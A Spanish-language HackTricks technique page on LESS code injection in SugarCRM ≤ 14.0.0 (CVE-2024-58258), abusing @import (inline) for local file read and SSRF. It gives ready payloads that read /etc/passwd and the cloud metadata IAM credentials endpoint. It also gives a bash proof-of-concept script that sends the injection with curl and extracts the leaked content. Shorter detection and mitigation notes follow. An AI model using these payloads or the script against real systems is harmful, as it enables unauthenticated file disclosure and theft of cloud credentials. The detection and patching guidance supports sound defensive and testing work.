LESS Code Injection leading to SSRF & Local File Read
Reading time: 4 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Overview
LESS es un preprocesador CSS popular que añade variables, mixins, funciones y la poderosa directiva @import
. Durante la compilación, el motor LESS obtendrá los recursos referenciados en las declaraciones @import
y embebará ("inline") su contenido en el CSS resultante cuando se use la opción (inline)
.
Cuando una aplicación concatena entrada controlada por el usuario en una cadena que luego es analizada por el compilador LESS, un atacante puede inyectar código LESS arbitrario. Al abusar de @import (inline)
, el atacante puede forzar al servidor a recuperar:
- Archivos locales a través del protocolo
file://
(divulgación de información / Inclusión de Archivos Locales). - Recursos remotos en redes internas o servicios de metadatos en la nube (SSRF).
Esta técnica se ha visto en productos del mundo real como SugarCRM ≤ 14.0.0 (punto final /rest/v10/css/preview
).
Exploitation
- Identificar un parámetro que esté embebido directamente dentro de una cadena de hoja de estilo procesada por el motor LESS (por ejemplo,
?lm=
en SugarCRM). - Cerrar la declaración actual e inyectar nuevas directivas. Los primitivos más comunes son:
;
– termina la declaración anterior.}
– cierra el bloque anterior (si es necesario).
- Usar
@import (inline) '<URL>';
para leer recursos arbitrarios. - Opcionalmente, inyectar un marcador (
data:
URI) después de la importación para facilitar la extracción del contenido obtenido del CSS compilado.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
El contenido de /etc/passwd
aparecerá en la respuesta HTTP justo antes del marcador @@END@@
.
SSRF – Metadatos de la Nube
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatizado (ejemplo de SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Detección
- Busque respuestas
.less
o.css
generadas dinámicamente que contengan parámetros de consulta no sanitizados. - Durante la revisión del código, busque construcciones como
"@media all { .preview { ... ${userInput} ... } }"
pasadas a funciones de renderizado de LESS. - Los intentos de explotación a menudo incluyen
@import
,(inline)
,file://
,http://169.254.169.254
, etc.
Mitigaciones
- No pase datos no confiables al compilador de LESS.
- Si se requieren valores dinámicos, escápelos/sanitícelos adecuadamente (por ejemplo, restrinja a tokens numéricos, listas blancas).
- Desactive, cuando sea posible, la capacidad de usar importaciones
(inline)
, o limite los protocolos permitidos ahttps
. - Mantenga las dependencias actualizadas: SugarCRM corrigió este problema en las versiones 13.0.4 y 14.0.1.
Casos del Mundo Real
Producto | Endpoint Vulnerable | Impacto |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF no autenticado y lectura de archivos locales |
Referencias
- SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilidad de Inyección de Código LESS
- Aviso de Seguridad de SugarCRM SA-2024-059
- CVE-2024-58258
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.